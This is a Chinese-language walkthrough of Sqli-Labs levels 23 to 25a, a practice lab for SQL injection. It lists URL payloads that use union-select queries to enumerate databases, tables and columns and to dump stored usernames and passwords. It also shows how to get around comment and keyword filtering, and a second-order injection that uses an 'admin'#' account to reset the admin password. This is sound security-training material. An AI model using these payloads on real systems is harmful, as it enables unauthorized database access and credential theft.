Sqli-Labs 闯关 less 23-25
Less 23
我们看这关看着跟第一关有点像。我们观察代码,发现这关对--+和#都进行了转义,不能再用这种方式注释。
所以我们可以把union select联合查询放在id里面。一种方法就是用新的注释符: ;%00或者and和or语句进行闭合
爆库:?id=' union select 1,13,database() '
爆表:?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='
爆列:?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='
爆用户名密码:?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1'='
Less 24
我们进入这个页面发现跟往常的还不一样。
我们查了查网页,发现这是个二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
按照二次注入的原理我们先创建个恶意账户 admin'#,密码我们就输入123。
注册:
登录:
修改密码:密码改成123456 了
现在再用用户名 admin ,密码为123456登录就可以了。。
Less 25
我们还是先测试一下。
我们看到第二种没有报错可以注入。
方法一:--+绕过,一般注入。
爆库:?id=-1' union select 1,2,database()--+
中间过程省略~~~,获得用户名密码:?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
方法二:双写or或and绕过
还是先测试,用双写。
后面过程不赘述了。。
Less 25a
这关和上一关的不同就是这关没有任何包裹。